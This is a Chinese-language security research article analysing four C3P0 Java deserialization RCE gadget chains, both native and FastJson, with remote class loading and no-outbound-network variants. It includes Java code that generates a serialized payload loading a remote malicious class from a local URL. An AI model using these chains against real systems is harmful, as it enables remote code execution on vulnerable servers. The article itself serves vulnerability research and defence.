Java反序列化之C3P0利用鏈從出網到無需出網原理深入分析與實現
引言
C3P0反序列化利用鏈是Java反序列化漏洞中比較經典的一條RCE利用鏈。但是相對諸如`CommonsCollections`、`CommonsBeanutils`這些常規利用鏈而言,大家的關注度還是要少一些。最近看到有大佬對C3P0利用鏈不出網做了一些研究,在此基礎上,自己也系統地梳理一下各種姿勢的C3P0利用鏈,包括:
- Java原生態反序列化利用鏈-遠程加載惡意類
- Java原生態反序列化利用鏈改進-無需出網
- Json反序列化利用鏈-遠程加載惡意類
- Json反序列化利用鏈-無需出網
這里將4個利用鏈的原理分析與具體實現分享給大家。
原生態利用鏈-遠程加載惡意類
首先看下`ysoserial`對C3P0利用鏈的描述:
C3P0.java
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/C3P0.java

為了方便分析,這里構建一個基礎研究環境,添加依賴項:
<dependencies> <dependency> <groupId>com.mchange</groupId> <artifactId>C3P0</artifactId> <version>0.9.5.2</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.25.0-GA</version> </dependency></dependencies>
0x01 靜態分析
深入分析`ysoserial`調用鏈:
* com.sun.jndi.rmi.registry.RegistryContext->lookup* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject* com.mchange.v2.C3P0.impl.PoolBackedDataSourceBase->readObject
`com.mchange.v2.C3P0.impl.PoolBackedDataSourceBase#readObject`:

首先從`ois`中取出`version`對象,然后再對`ois`進行反序列化操作,提取`IndirectlySerialized`對象(`com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized`繼承于`IndirectlySerialized`),進入`com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized#getObject`函數:

可能很容易認為利用鏈是通過第85行的`lookup`函數觸發的,后來實際調試過程中發現不對。代碼走到第88行,進入函數`ReferenceableUtils.referenceToObject`:

當`Reference#getFactoryClassLocation`函數返回非空時,將通過`URLClassLoader`去遠程加載類對象,在第51~52行完成實例化操作,所以我們可以構造一個遠程惡意類,然后通過遠程加載實現RCE。
0x02 構造過程
從上面分析可知,整個利用鏈起步于`com.mchange.v2.C3P0.impl.PoolBackedDataSourceBase#readObject`,剛好`com.mchange.v2.C3P0.impl.PoolBackedDataSourceBase`還存在一個`writeObject`反函數操作:

通過分析發現,關鍵的封裝過程實際上位于異常處理部分,所以在生成載荷的過程中可以故意拋出一個異常,讓其進入`catch`部分處理。這里可以考慮在第170行對`connectionPoolDataSource`進行序列化操作時,完成異常拋出,因此手動構造一個類`PoolDataSource`:


因為`PoolDataSource`沒有繼承系列化接口,所以在執行序列化操作時會拋出異常。核心代碼如下:
public static void main(String[]args)throws Exception{ String url="http://127.0.0.1:1024/"; String className="exploit";
ConnectionPoolDataSource connectionPoolDataSource=new PoolDataSource(url,className); PoolBackedDataSourceBase poolBackedDataSource=new PoolBackedDataSource(); poolBackedDataSource.setConnectionPoolDataSource(connectionPoolDataSource);
util.serialize(poolBackedDataSource,"py1.ser");
}
private static class PoolDataSource implements ConnectionPoolDataSource, Referenceable { private String className; private String url;
public PoolDataSource(String url,String className){ this.className = className; this.url = url; }
public Reference getReference () throws NamingException { return new Reference("C3P0", this.className, this.url); } public PrintWriter getLogWriter () throws SQLException {return null;} public void setLogWriter ( PrintWriter out ) throws SQLException {} public void setLoginTimeout ( int seconds ) throws SQLException {} public int getLoginTimeout () throws SQLException {return 0;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} public PooledConnection getPooledConnection () throws SQLException {return null;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}}
0x03 測試過程
構造測試案例,調試如下:


0x04 小結
上面構造的C3P0原生態反序列化利用鏈需要出網連接,通過加載遠程惡意類觸發RCE。從上面分析過程可以看出,加載遠程惡意類并非通過`com.sun.jndi.rmi.registry.RegistryContext#lookup`來觸發的,所以`ysoserial`上的注釋描述是不正確的。
原生態利用鏈改進-無需出網
0x01 原理分析
在上面分析過程中提到了,當`Reference#getFactoryClassLocation`函數非空時,將通過`URLClassLoader`去遠程加載類對象,那么如果`Reference#getFactoryClassLocation`函數返回`null`時,代碼是如何走的呢?

可見,當變量`v11`為`null`時,將會加載當前線程的`ClassLoader`,所以如果在程序上下文環境中能夠找到一個本地類,也是可以實現RCE的。這里大家很容易聯想到veracode研究的高版本JDK利用本地Tomcat環境中的`javax.el.ELProcessor`實現JNDI注入的思路:
Exploiting JNDI Injections in Java
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
當處于Tomcat8及更高版本環境時,也可以通過`javax.el.ELProcessor`來構建不出網利用鏈。
0x02 構造過程
將`Reference`對象替換成`ResourceRef`即可:

與上面設計`PoolDataSource`的思路類似,可以自定義`PoolDataSource2`類:


0x03 測試過程


0x04 小結
與高版本JDK實現JNDI注入類似,利用本地自帶的類,也可以自構一個無需出網的C3P0利用鏈。上面的分析是基于Tomcat環境完成構建的,當存在其他可用的本地類時,也可以達到一樣的效果。
Json利用鏈-遠程加載惡意類
C3P0除了可以構建Java原生態反序列化利用鏈之外,還可以構建Json反序列化利用鏈,在`marshalsec`中包含2個利用鏈。

為了方便調試分析,這里引入FastJson:
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version></dependency>
0x01 原理分析
第一條是基于`com.mchange.v2.c3p0.JndiRefForwardingDataSource`來構建的。
`JndiRefForwardingDataSource#setLoginTimeout`函數:

進入`inner`函數:

進入`dereference`函數:

可以觸發`lookup`,輸入參數來源于`jndiName`參數,而`JndiRefForwardingDataSource`繼承于`JndiRefDataSourceBase`,`JndiRefDataSourceBase#setJndiName`定義如下:

0x02 構造與測試
通過上面的分析,我們可以很容易構造出一個JNDI注入的利用鏈:

Json利用鏈改進-無需出網
0x01 原理分析
`marshalsec`中的第二條利用鏈是基于`com.mchange.v2.c3p0.WrapperConnectionPoolDataSource`完成。`WrapperConnectionPoolDataSource`繼承于`WrapperConnectionPoolDataSourceBase`:

`WrapperConnectionPoolDataSourceBase#setUserOverridesAsString`函數:

觸發`fireVetoableChange`事件處理,而在`WrapperConnectionPoolDataSource`中重寫了`setUpPropertyListeners`函數:

當屬性為`userOverridesAsString`時,將調用`parseUserOverridesAsString`函數,跟進:

對`userOverridesAsString`進行截取后,完成十六進制解碼,然后調用`fromByteArray`函數:


最終觸發了反序列化操作。
0x02 構造與測試
從上面分析可知,當環境中還存在一個Java原生態反序列化利用鏈時,可實現C3P0 Json反序列化無需出網RCE觸發。這里再加入`commons-collections 3`:
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version></dependency>

